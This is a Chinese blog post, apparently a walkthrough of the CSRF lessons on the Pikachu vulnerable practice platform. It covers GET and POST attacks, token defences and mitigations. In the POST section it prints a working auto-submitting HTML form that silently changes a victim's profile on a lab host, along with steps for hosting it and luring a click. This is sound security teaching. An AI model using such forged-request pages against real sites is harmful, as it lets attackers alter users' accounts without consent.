pikaqiu练习平台(CSRF(跨站请求伪造) )
CSRF(跨站请求伪造)
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
如何确认一个网站存在CSRF漏洞:
1. 一个网站对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
比如:修改管理员账号使,不需要验证旧密码
对于敏感信息的修改并没有使用安全的token验证
2. 确认凭证的有效期
比如:虽然退出或者关闭了浏览器,但cookie仍然有效,或者session没有及时过期
一、CSRF(get)

登陆之后,可以修改个人信息,点击提交,然后进行抓包;


将get请求修改为攻击者伪造的请求,在登陆状态下点击,就可以修改用户信息;
用户点击登录,就可以看到敏感信息已经被修改;

二、CSRF(post)

修改个人信息后,提交并抓包;

Post型的不能通过伪造url来进行攻击,跟xss里post型是一致的。攻击者搭一个页面,诱导用户点进来,当用户点击时会自动向存在csrf的服务器提交post请求来修改个人信息。
编写一个post.html页面,将这个页面放在放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.27.156/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value=" 123456" />
<input id="add" type="text" name="add" value="beijing" />
<input id="email" type="text" name="email" value="vince@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
诱导用户点击这个链接,就可以修改信息了
http://192.168.17.111/pikachu/doge_csrf/post.html
三、CSRF-token
CSRF的主要问题是敏感操作的链接容易被伪造,解决方法就是每次请求都增加一个随机码(长度足够,够随机),后台每次对这个随机码进行验证;
登录 、修改信息、提交、抓包;


可以看到多出来一个token,这个就代表一个随机值,每次刷新出来的token值都是不一样的;
每次提交完访问的都是token_get_edit.php页面;

查看页面源码,会有一个隐藏的token值,并且也可以看到这个每次都有一个token值,再次刷新之后这个token值就会改变;

防范措施:
1.对敏感信息的操作增加安全的token;
(对关键操作增加token参数,token值必须随机,每次都不一样)
2.安全的会话管理,避免会话被利用
(不在客户端保存敏感信息,比如身份认证信息;
测试直接关闭;
设置会话过期机制,比如15分钟内无操作,则自动登录超时)
3.对敏感信息的操作增加安全的验证码;
(一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)
4.对敏感信息的操作实施安全的逻辑流程,
(修改密码时,需要先校验旧密码;
敏感信息的修改使用post,而不是get;
通过http头部中的referer来限制页面)
pikaqiu练习平台(CSRF(跨站请求伪造) )的更多相关文章
- 教你轻松解决CSRF跨站请求伪造攻击
摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...
- python CSRF跨站请求伪造
python CSRF跨站请求伪造 <!DOCTYPE html> <html lang="en"> <head> <meta chars ...
- Django之CSRF跨站请求伪造(老掉牙的钓鱼网站模拟)
首先这是一个测试的代码 请先在setting页面进行下面操作 注释完成后,开始模拟钓鱼网站的跨站请求伪造操作: 前端代码: <!DOCTYPE html> <html lang=&q ...
- ajax向Django前后端提交请求和CSRF跨站请求伪造
1.ajax登录示例 urls.py from django.conf.urls import url from django.contrib import admin from app01 impo ...
- python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)
一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...
- 第三百一十五节,Django框架,CSRF跨站请求伪造
第三百一十五节,Django框架,CSRF跨站请求伪造 全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.midd ...
- Django中的CSRF(跨站请求伪造)
Django中的CSRF(跨站请求伪造) Django CSRF 什么是CSFR 即跨站请求伪装,就是通常所说的钓鱼网站. 钓鱼网站的页面和正经网站的页面对浏览器来说有什么区别? (页面是怎么来的? ...
- Django框架 之 基于Ajax中csrf跨站请求伪造
Django框架 之 基于Ajax中csrf跨站请求伪造 ajax中csrf跨站请求伪造 方式一 1 2 3 $.ajaxSetup({ data: {csrfmiddlewaretoken: ...
- 十三 Django框架,CSRF跨站请求伪造
全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.middleware.security.SecurityMidd ...
随机推荐
- 备战2020年金三银四,看这一篇面试文章就够了(合适各级Java人员)
本文不是原创.为整理所得!但是内容是很干货的!我看了也有帮助.做个分享. 企业开始上班,就意味着大批量的招聘需求正在路上.在即将到来的金三银四跳槽面试季,提前祝贺大家拿到大厂offer.前程似锦.前程 ...
- Java文件与流测试
import java.io.File; import java.io.InputStreamReader; import java.math.BigDecimal; import java.io.B ...
- CF571D Campus(19-1)
题意 \(n\)个点,维护两个森林,这里\(A,B\)两个森林对应的点都是一样的,相当于对两个森林操作都会影响这\(n\)个点 开始森林里的树都是一个点,\(A,B\)支持合并(但树结构互不影响),\ ...
- 小白月赛22 E : 方格涂色
E:方格涂色 考察点 : 思维,模拟 坑点 : long long 其他的好像没什么,读懂题意就可以 AC 不要被样例画的图所迷惑 Code: #include <vector> #inc ...
- Go-结构体,结构体指针和方法
https://cloud.tencent.com/developer/article/1482382 4.1.结构体 结构体:讲一个或多个变量组合到一起形成新的类型,这个类型就是结构体,结构体是值类 ...
- 事件分析法学习笔记(ESM)
事件分析法基础学习笔记 1.定义 事件分析法是研究某事件的发生对组织价值的影响以及影响程度. 或者说研究特定事件对组织行为的影响. notes:事件分析法的关键点在于探讨所关注事件在某个时段产生的 ...
- smarty循环item命名规范
使用smarty循环渲染数据时第二次循环item复制命名不规范 item=data 后面代码使用data会与后台返回数据冲突 {%foreach from=$data.bind_data key=ke ...
- “公文流转系统 v1.0”
1.项目需求: 河北金力集团是我省机械加工的龙头企业,主要从事矿山机械制造及各种机械零部件加工.企业有3个厂区,主厂区位于省高新技术开发区,3个分厂分别在保定.邢台和唐山.为增加企业的核心竞争力和加强 ...
- CTF入门 |“男神”背后的隐写术
刚刚开始学CTF,记录一下做的第一道隐写题 ~ 附件下载 题目背景(我自己瞎编的): Luyu是CPPU的校草,一直以来他的写真照被各届校友广泛流传,最近江湖上流传着拿到这些照片就能知道Luyu的QQ ...
- Codeforces Round #596 (Div. 2)D.Power Products
题意: 给一个数组,给你一个k,找出两个数字的积可以变成xk的数对对数 解析: 当且仅当,两个数进行质因子分解后每个因子的个数都是k的倍数个就说明这是满足条件的一对,可以让每个因子个数%k用map找对 ...